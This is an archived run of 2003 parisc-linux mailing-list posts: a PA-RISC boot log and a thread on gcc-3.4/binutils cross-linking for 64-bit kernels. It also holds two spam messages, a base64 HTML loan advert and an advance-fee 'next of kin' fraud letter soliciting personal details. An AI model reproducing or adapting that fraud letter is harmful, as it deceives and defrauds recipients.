12. Raven T' Wax BA (11) at 0xffe00000 [8/20], versions 0x1e, 0x0, 
0x8e,  additi
onal addresses: 0xffe03000 0xffe06000
13. Raven T' Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x1e, 0x0, 0x73
14. Raven T' Wax RS-232 (10) at 0xffe02000 [8/20/2], versions 0x1e, 0x0, 
0x8c
15. Raven T' Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x1e, 
0x0, 0x90,
 additional addresses: 0xffc88400 0xf4000000
16. U2-IOA BC GSC+ Port (7) at 0xf3fbf000 [8/63], versions 0x501, 0x1, 
0xc,  add
itional addresses: 0xf3f80000
17. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0x7, 0xb
18. Raven T' GSC Core Graphics (10) at 0xf4000000 [10/16], versions 
0x32, 0x0, 0
x85,  additional addresses: 0xf0069000
19. U2-IOA BC GSC+ Port (7) at 0xf3fff000 [10/63], versions 0x501, 0x1, 0xc
20. Raven 120 T' (0) at 0xfffa0000 [32], versions 0x58e, 0x0, 0x4
21. Memory (1) at 0xfffb1000 [49], versions 0x49, 0x0, 0x9
CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM at 0xffc88400
Enumerating EISA bus
EISA: Probing bus 0 at parisc8:20:5
EISA: Mainboard HWPC0E1 detected.
EISA: Detected 0 cards.
SCSI subsystem initialized
drivers/usb/core/usb.c: registered new driver hub
pty: 256 Unix98 ptys configured
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Serial: 8250/16550 driver $Revision: 1.90 $ IRQ sharing enabled
Soft power switch enabled, polling @ 0xf0140000.
lp: driver loaded but no devices found
Generic RTC Driver v1.07
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 00 60 B0 07 1E EA IRQ 87.
82596.c $Revision: 1.29 $
airo:  Probing for PCI adapters
airo:  Finished probing for PCI adapters
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c720-0: rev 0xf on pci bus 0 device 0 function 0 irq 34
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
Using anticipatory scheduling io scheduler
  Vendor: SEAGATE   Model: ST34371W          Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34371W          Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
st: Version 20030811, fixed bufsize 32768, s/g segs 256
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 >
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sdb: drive cache: write back
 sdb: unknown partition table
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 5, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 6, lun 0,  type 0
STI GSC/PCI core graphics driver Version 0.9a
STI word mode ROM at f0069000, hpa at f4000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1024
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
ehci_hcd: block sizes: qh 128 qtd 96 itd 128 sitd 64
ohci-hcd: 2003 Feb 24 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci-hcd: block sizes: ed 64 td 64
mice: PS/2 mouse device common for all mice
Found HIL bus at 0xffe01000, IRQ 126
HIL: no keyboard present.
input: HIL keyboard, ID -1 at 0xffe01000 (irq 126) found and attached
Keyboard initialization sequence failled
gsckbd_leds: timeout
input: PS/2 keyboard port at 0xffd08000 (irq 69) found and attached
input: PS/2 mouse port at 0xffd08100 (irq 69) found and attached
HP SDC: No SDC found.
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :    85.200 MB/sec
   8regs_prefetch:    83.200 MB/sec
   32regs    :    98.800 MB/sec
   32regs_prefetch:    96.400 MB/sec
raid5: using function: 32regs (98.800 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
oprofile: using timer interrupt.
NET: Registered protocol family 2
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET: Registered protocol family 1
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 500k freed
Adding 131928k swap on /dev/sda2.  Priority:-1 extents:1
EXT3 FS on sda5, internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda3, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda6, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda7, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda8, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda9, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
eth0: link ok.

hth,
    joel




From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit kernel builds with gcc-3.4 experimental cross.
Date: Wed, 17 Sep 2003 12:18:01 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20030917161800.GB30176@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622777 30942 80.91.229.3 (22 Nov 2014 02:19:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 10:20:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id E29BB4844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Sep 2003 10:20:00 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19zf0D-00080h-00; Wed, 17 Sep 2003 12:18:01 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (76% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19512

jda,

Any thoughts? This ld was from a multi-arch binutils that had
enable-targets with hppa64-linux.

---
hppa64-linux-ld  -r -o kernel.o sched.o dma.o fork.o exec_domain.o
panic.o printk.o module.o exit.o itimer.o info.o time.o softirq.o
resource.o sysctl.o acct.o capability.o ptrace.o timer.o user.o signal.o
sys.o kmod.o context.o
hppa64-linux-ld: Relocatable linking with relocations from format
elf32-hppa-linux (sched.o) to format elf32-hppa-linux (kernel.o) is not
supported
make[2]: *** [kernel.o] Error 1
make[2]: Leaving directory `/mnt/flaire/src/linux-2.4/kernel'
make[1]: *** [first_rule] Error 2
make[1]: Leaving directory `/mnt/flaire/src/linux-2.4/kernel'
make: *** [_dir_kernel] Error 2
carlos@firin:/mnt/flaire/src/linux-2.4$
---
GNU ld version 2.14.90 20030917

Reading specs from
/mnt/flaire/hppa-toolchain/install/lib/gcc/hppa64-linux/3.4/specs
Configured with: '../gcc-cvs/configure' '--host=hppa-linux
'--prefix=/mnt/flaire/hppa-toolchain/install '--target=hppa64-linux
'--build=hppa-linux
'--with-gnu-ld=/mnt/flaire/hppa-toolchain/install/bin/ld
'--with-gnu-as=/mnt/flaire/hppa-toolchain/install/bin/as
'--enable-languages=c
Thread model: posix
gcc version 3.4 20030916 (experimental)

c.


From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit kernel builds with gcc-3.4 experimental cross.
Date: Wed, 17 Sep 2003 12:43:18 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200309171643.h8HGhJlw013649@hiauly1.hia.nrc.ca>
References: <20030917161800.GB30176@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622777 30949 80.91.229.3 (22 Nov 2014 02:19:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 10:43:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46FC04844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Sep 2003 10:43:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h8HGhJWr013651;
	Wed, 17 Sep 2003 12:43:19 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h8HGhJlw013649;
	Wed, 17 Sep 2003 12:43:19 -0400 (EDT)
In-Reply-To: <20030917161800.GB30176@systemhalted> from "Carlos O'Donell" at Sep 17, 2003 12:18:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19513

> Any thoughts? This ld was from a multi-arch binutils that had
> enable-targets with hppa64-linux.
> 
> ---
> hppa64-linux-ld  -r -o kernel.o sched.o dma.o fork.o exec_domain.o
> panic.o printk.o module.o exit.o itimer.o info.o time.o softirq.o
> resource.o sysctl.o acct.o capability.o ptrace.o timer.o user.o signal.o
> sys.o kmod.o context.o
> hppa64-linux-ld: Relocatable linking with relocations from format
> elf32-hppa-linux (sched.o) to format elf32-hppa-linux (kernel.o) is not
> supported

As far as I know, there is no multi-arch support in ld or as.
There isn't multi-arch support in GCC either.  You need separate
compilers for 32 and 64 bits.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "pencil" <czmy_czmy@shaw.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hello
Date: Wed, 17 Sep 2003 18:46:25 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20030917224650.11E404844@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416622778 30951 80.91.229.3 (22 Nov 2014 02:19:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:38 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 16:46:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ORDENADOR (modemcable122.5-203-24.mtl.mc.videotron.ca [24.203.5.122])
	by dsl2.external.hp.com (Postfix) with SMTP id 11E404844
	for <parisc-linux@parisc-linux.org>; Wed, 17 Sep 2003 16:46:50 -0600 (MDT)
X-Priority: 3 (normal)
Importance: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19514

PGh0bWw+DQpIaSw8YnI+DQpJIGtuPCEtLWk4Z3Nmay0tPm93IHlvdSB3YW50IHRvIHJlPCEtLTE3
NDMyMXlzLS0+ZmluYTwhLS1ieWFza2JmLS0+bmNlIHlvdXIgaG9tZSBzbyA8YnI+DQpoZXJlIGlz
IHRoZSB3ZTwhLS00aGYxbDgtLT5ic2l0ZSB5b3Ugd2E8IS0tc2o4ZnM5cGo5ODQtLT5udGVkIHdo
ZXJlIGxlPCEtLXBha2lzdGFuLS0+bmRlcnMgPGJyPg0KY29tPCEtLW94Zm9yZC0tPnBldGUgZm9y
IHlvdXIgYnU8IS0tdmlyZ2luLS0+c2luZXNzLjxicj4NCjxhIGhyZWY9Imh0dHA6Ly93d3cuaThn
c2ZrLmZsaXBwaW5kZWFscy5jb20iPiBHbyBIZXJlIDwvYT48YnI+DQpUaDwhLS0xNzQzMjF5cy0t
PmFua3MsPGJyPg0KSmFjayBKb2g8IS0tNGhmMWw4LS0+bnNvbjxicj4NCjxicj4NCjxicj4NCk5v
IDwhcmFuZDQ+IE1vcmUgPGEgaHJlZj0iaHR0cDovL2k4Z3Nmay5mbGlwcGluZGVhbHMuY29tL3Vu
cy5jZ2kiPiBubyBtYXMgPGEvPg0KPCEtLXZpcmdpbi0tPg0KPC9odG1sPg0K



From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit kernel builds with gcc-3.4 experimental cross.
Date: Wed, 17 Sep 2003 18:54:07 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20030917225406.GG30176@systemhalted>
References: <20030917161800.GB30176@systemhalted> <200309171643.h8HGhJlw013649@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622778 30956 80.91.229.3 (22 Nov 2014 02:19:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 16:56:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 693964844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Sep 2003 16:56:14 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19zlBX-00025E-00; Wed, 17 Sep 2003 18:54:07 -0400
Content-Disposition: inline
In-Reply-To: <200309171643.h8HGhJlw013649@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (76% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19515

On Wed, Sep 17, 2003 at 12:43:18PM -0400, John David Anglin wrote:
> > Any thoughts? This ld was from a multi-arch binutils that had
> > enable-targets with hppa64-linux.
> > 
> > ---
> > hppa64-linux-ld  -r -o kernel.o sched.o dma.o fork.o exec_domain.o
> > panic.o printk.o module.o exit.o itimer.o info.o time.o softirq.o
> > resource.o sysctl.o acct.o capability.o ptrace.o timer.o user.o signal.o
> > sys.o kmod.o context.o
> > hppa64-linux-ld: Relocatable linking with relocations from format
> > elf32-hppa-linux (sched.o) to format elf32-hppa-linux (kernel.o) is not
> > supported
> 
> As far as I know, there is no multi-arch support in ld or as.
> There isn't multi-arch support in GCC either.  You need separate
> compilers for 32 and 64 bits.

Separate compilers yes. Separate linker and assembler no.
I thought I could use '--enable-targets=hppa64-linux' in binutils.

c.


From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit kernel builds with gcc-3.4 experimental cross.
Date: Wed, 17 Sep 2003 19:15:34 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200309172315.h8HNFYC1025245@hiauly1.hia.nrc.ca>
References: <20030917225406.GG30176@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622778 30964 80.91.229.3 (22 Nov 2014 02:19:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 17:16:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEFA54844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Sep 2003 17:16:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h8HNFZYP025247;
	Wed, 17 Sep 2003 19:15:35 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h8HNFYC1025245;
	Wed, 17 Sep 2003 19:15:34 -0400 (EDT)
In-Reply-To: <20030917225406.GG30176@systemhalted> from "Carlos O'Donell" at Sep 17, 2003 06:54:07 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19516

> Separate compilers yes. Separate linker and assembler no.

There isn't an option in as to select the output object format.
There are somewhat different relocations used in the 32 and 64
bit formats.  So, I don't see how you can use a single assembler
for both.

You may be able to use "-A" with ld but GCC doesn't support this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Barrister Edward Afamefuna" <edward_associates@tiscali.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NEXT OF KIN  (Mr. Adams Djupvik )
Date: Thu, 18 Sep 2003 01:14:14 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20030918001920.606614844@dsl2.external.hp.com>
Reply-To: edward_associates@tiscali.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622779 30967 80.91.229.3 (22 Nov 2014 02:19:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 18:19:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from afzhg1331.com (unknown [213.185.113.3])
	by dsl2.external.hp.com (Postfix) with SMTP id 606614844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Sep 2003 18:19:20 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19517

Dear Sir=2C

I am Barrister Edward Afamefuna a Solicitor=2C I know it will come to you as a
surprise because we have not met either physically or through correspondence=2E
I am the Personal Attorney to Mr=2E Adams Djupvik a national of your country=2C
and a contractor here in Nigeria=2E On the 21st of April 2000=2C my client=2C
were involved in a car accident along
Ibadan =2F Lagos Express Road=2E

Unfortunately they All lost their lives in the event of the accident=2C after
the several unsuccessful attempts=2C I decided to trace his relatives over
the Internet to locate any member of his family but of no avail=2C hence I
contacted you=2E

I plead for your assist in repatriating the money and property left behind
by my client before they get confiscated or declared unserviceable by the
Apex Bank where these huge deposits were lodged=2E Particularly=2C the APEX
BANK where the deceased had an account valued at about US$8M =28Eight Million
United Stated Dollars=29=2E

Consequently=2C APEX BANK as issued me a notice to provide the next of kin
or have the account confiscated=2E Since I have been unsuccessful in locating
the relatives for over 2 years now=2E

I seek your consent to present you as the next of kin of the deceased=2C so
that the proceeds of this account valued at US$8MD can be paid to you and
then you and me can share the money=2E 50% to me and 40% to you=2C while 10%
should be for expenses or tax as your government may require=2E

If you are interested to kindly forward immediately the following=3A
1=2E YOUR FULL NAME
2=2E CONTACT ADDRESS
3=2E PRIVATE TELEPHONE AND FAX NUMBER=2E

I have all necessary legal documents that can be used to back up any claim
we may make=2E All I require is your honest cooperation to enable us see this
deal through=2E I guarantee that this will be executed under a legitimate
arrangement that will protect you from any breach of the law=2E

Please direct your reply through this Email Box immediately you receive
this proposal for more explanation on the inheritance=2E

Yours Faithfully=2C

Barrister Edward Afamefuna =28Esq=2E=29=2E 





From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit kernel builds with gcc-3.4 experimental cross.
Date: Wed, 17 Sep 2003 21:40:09 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20030918014008.GD11459@systemhalted>
References: <20030917161800.GB30176@systemhalted> <200309171643.h8HGhJlw013649@hiauly1.hia.nrc.ca> <20030917225406.GG30176@systemhalted> <20030918003807.GP21596@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622779 30976 80.91.229.3 (22 Nov 2014 02:19:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:39 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: Matthew Wilcox <willy@debian.org>
